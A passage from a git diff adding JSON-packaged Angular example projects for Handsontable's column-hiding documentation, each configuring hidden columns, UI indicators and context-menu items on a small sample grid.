Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example1',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ];\n\n readonly hotSettings: GridSettings = {\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n contextMenu: true,\n // enable the `HiddenColumns` plugin\n hiddenColumns: {\n columns: [2, 4, 6],\n indicators: true,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-hiding/angular/example1.ts","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/column-hiding","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example2.ts.json new file mode 100644 index 00000000..740b8f07 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column hiding · Step 1: Specify columns hidden by default · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example2',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ];\n\n readonly hotSettings: GridSettings = {\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n // enable the `HiddenColumns` plugin\n hiddenColumns: {\n // specify columns hidden by default\n columns: [3, 5, 9],\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-hiding/angular/example2.ts","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example2","exampleTitle":"Step 1: Specify columns hidden by default","docPermalink":"/column-hiding","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example3.ts.json new file mode 100644 index 00000000..f555c567 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column hiding · Step 2: Show UI indicators · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example3',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ];\n\n readonly hotSettings: GridSettings = {\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n hiddenColumns: {\n columns: [3, 5, 9],\n // show UI indicators to mark hidden columns\n indicators: true,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-hiding/angular/example3.ts","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example3","exampleTitle":"Step 2: Show UI indicators","docPermalink":"/column-hiding","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example4.ts.json new file mode 100644 index 00000000..3dde49ea --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column hiding · Step 3: Set up context menu items · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example4',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 'G5', 'H5', 'I5', 'J5', 'K5', 'L5'],\n ];\n\n readonly hotSettings: GridSettings = {\n height: 'auto',\n colHeaders: true,\n rowHeaders: true,\n // enable the context menu\n contextMenu: true,\n // enable the `HiddenColumns` plugin\n // automatically adds the context menu's column hiding items\n hiddenColumns: {\n columns: [3, 5, 9],\n indicators: true,\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-hiding/angular/example4.ts","breadcrumb":["Columns","Column hiding"],"guide":"guides/columns/column-hiding/column-hiding.md","guideTitle":"Column hiding","exampleId":"example4","exampleTitle":"Step 3: Set up context menu items","docPermalink":"/column-hiding","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example5.ts.json new file mode 100644 index 00000000..c8c693a3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-hiding__angular__example5.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Columns ▸ Column hiding · Step 3: Set up context menu items (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example5',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1', 'L1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2', 'L2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3', 'L3'],\n ['A4', 'B4', 'C4', 'D4', 'E4', 'F4', 'G4', 'H4', 'I4', 'J4', 'K4', 'L4'],\n ['A5', 'B5', 'C5', 'D5', 'E5', 'F5', 